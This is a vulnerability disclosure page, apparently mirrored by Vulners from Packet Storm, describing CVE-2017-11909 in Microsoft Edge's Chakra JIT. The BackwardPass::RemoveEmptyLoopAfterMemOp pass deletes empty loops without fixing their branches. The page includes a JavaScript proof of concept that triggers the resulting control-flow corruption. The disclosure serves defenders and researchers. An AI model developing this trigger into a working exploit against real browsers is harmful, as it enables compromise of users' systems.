Lucene search
K

Microsoft Edge Chakra JIT BackwardPass::RemoveEmptyLoopAfterMemOp Failed Insert

🗓️ 10 Jan 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 61 Views

Microsoft Edge Chakra JIT optimization vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Microsoft Edge Chakra JIT - BackwardPass::RemoveEmptyLoopAfterMemOp Does not Insert Branches
9 Jan 201800:00
zdt
ATTACKERKB
CVE-2017-11886
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11905
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11914
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11909
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11908
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11894
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11890
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11930
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11895
12 Dec 201721:29
attackerkb
Rows per page
`Microsoft Edge: Chakra: JIT: BackwardPass::RemoveEmptyLoopAfterMemOp doesn't insert branches.   
  
CVE-2017-11909  
  
  
The optimizations for memory operations may leave empty loops as follows:  
  
for (let i = 0; i < arr.length; i++) {  
arr[i] = 0;  
}  
  
Becomes:  
  
Memset(arr, 0, arr.length);  
for (let i = 0; i < arr.length; i++) {  
// empty!  
}  
  
These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.  
  
Here's what may happen.  
  
A:  
Memset(arr, 0, arr.length);  
  
for (let i = 0; i < arr.length; i++) {  
  
}  
goto D; // Actually, this's a "BrGe_I4" instruction in the PoC.  
  
C:  
...  
  
D:  
...  
  
Becomes:  
  
A:  
Memset(arr, 0, arr.length);  
  
C:  
...  
  
D:  
...  
  
So, this may break the control flow.  
  
  
PoC:  
function opt(a, b, always_true = true) {  
a[0] = 1234;  
b[0] = 0;  
  
let arr = a;  
if (always_true) {  
arr = b;  
for (let i = 0; i < arr.length; i++)  
arr[i] = 0;  
}  
  
let val = arr[0];  
if (val) {  
print(val); // Must be 0, but prints out 1234  
return true;  
}  
  
return false;  
}  
  
let a = new Uint32Array(1);  
let b = new Uint32Array(0x1000);  
for (let i = 0; i < 10000; i++) {  
if (opt(a, b)) {  
break;  
}  
}  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation